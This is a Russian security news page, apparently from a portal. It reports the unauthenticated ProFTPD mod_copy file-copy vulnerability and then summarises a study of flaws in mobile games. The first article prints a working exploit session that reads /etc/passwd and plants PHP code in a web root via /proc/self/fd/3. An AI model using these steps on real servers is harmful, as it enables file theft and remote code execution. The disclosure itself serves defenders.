Обнаружена опасная уязвимость в ProFTPD

Обнаружена опасная уязвимость в ProFTPD

В ftp-сервере ProFTPD обнаружена опасная уязвимость, которая позволяет копировать файлы в пределах сервера без проведения аутентификации с помощью команд "site cpfr" и "site cpto". Проблема проявляется в модуле mod_copy, который позволяет выполнять команды на стадии до проведения аутентификации пользователя.

Уязвимость усугубляется отсутствием возможности отключить mod_copy через файл конфигурации и наличием путей эксплуатации уязвимости, которые могут быть использованы в атаке для организации выполнения кода на web-сервере.

В настоящий момент исправления доступны только в виде патча в git-репозитории проекта. Одновременно для ProFTPD предложена реализация директивы CopyEngine, через которую можно отключить mod_copy без перекомпиляции. В настоящее время в дистрибутивах не зафиксировано обновлений пакетов с устранением проблемы. Оценить появление обновлений в дистрибутивах можно на следующих страницах: RHEL 6, RHEL 7, Ubuntu, Debian, Fedora,openSUSE, SLES, Slackware, Gentoo, CentOS, FreeBSD, пишет opennet.ru.

Пример копирования файла /etc/passwd в /tmp/passwd.copy:

Trying 192.168.3.115...
Connected to 192.168.3.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.3.115]
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful

Пример организации запуска кода на web-сервере:

site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
250 Copy successful

Файл test.php будет содержать данные из потока STDERR, в том числе и указанный в ошибочной команде PHP-код:

2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied

70% мобильных игр небезопасны: эксперты нашли сотни уязвимостей

Казалось бы, что может быть безобиднее мобильных игр? Пару уровней в дороге, быстрый матч перед сном — и никаких рисков. Но на практике всё не так радужно. По данным AppSec Solutions, семь из десяти игровых приложений для смартфонов содержат уязвимости, а каждая седьмая из них может быть потенциально опасной.

Специалисты компании проанализировали около 50 популярных мобильных игр с помощью инструмента AppSec.Sting и обнаружили порядка 700 уязвимостей. Из них 90 получили высокий или критический уровень опасности.

Самые тревожные находки — это банальные, но оттого не менее опасные ошибки. Так, в 12 приложениях пароли и токены хранились прямо в исходном коде, фактически в открытом виде. Для злоумышленников это настоящий подарок — такие данные легко извлекаются и могут использоваться для взлома.

Ещё 13 игр не имели проверки целостности, что позволяет без особых усилий модифицировать сборку и менять логику приложения.

«Это серьёзно упрощает вмешательство в работу игры — от читов до более опасных сценариев», — пояснил руководитель отдела анализа защищённости AppSec.Sting компании AppSec Solutions Никита Пинаев.

Эксперт выделил три ключевые проблемы, которые встречаются в мобильных играх особенно часто.

Во многих играх критически важные механики — расчёт наград, прогресса и внутриигровых ресурсов — реализованы на стороне клиента. Без полноценной серверной проверки это открывает дорогу к подмене данных, повторному воспроизведению запросов и манипуляциям с игровой экономикой. Итог — читы, перекос баланса, падение честности и доверия игроков.

Небезопасное хранение данных и слабая защита сетевого взаимодействия. Конфиденциальная информация нередко хранится локально без шифрования и контроля целостности. К этому добавляются проблемы с сетевой защитой — отсутствие проверок подлинности запросов и защиты от повторного воспроизведения. Всё это создаёт условия для утечек данных и автоматизации мошеннических сценариев.

Многие приложения поставляются без обфускации кода и базовых механизмов защиты. В результате бизнес-логика легко анализируется, конфиденциальные параметры извлекаются, а модифицированные клиенты распространяются быстрее, чем разработчики успевают реагировать.

На первый взгляд проблемы выглядят «внутриигровыми», но на деле они оборачиваются вполне реальными рисками — финансовыми потерями, ростом мошенничества и репутационными издержками. И страдают от этого не только студии, но и обычные пользователи.

Эксперты AppSec Solutions напоминают простые, но эффективные правила цифровой гигиены:

  1. Скачивайте игры только из официальных магазинов.
    Сторонние источники — главный канал распространения модифицированных и вредоносных версий.
  2. Осторожнее с модами и «взломами».
    Читы — это не только риск бана, но и реальная угроза утечки данных или заражения устройства.
  3. Следите за разрешениями.
    Давайте игре только то, что действительно нужно для работы, и периодически пересматривайте доступы.
  4. Обновляйте приложения и ОС.
    Апдейты часто закрывают уязвимости, о которых вы даже не подозреваете.
  5. Используйте уникальные пароли.
    Для игровых аккаунтов — свои учётные данные и, по возможности, дополнительные механизмы защиты.

Мобильные игры давно перестали быть просто развлечением — вокруг них крутятся деньги, данные и целые цифровые экосистемы. А значит, относиться к их безопасности стоит не менее серьёзно, чем к банковским приложениям.

RSS: Новости на портале Anti-Malware.ru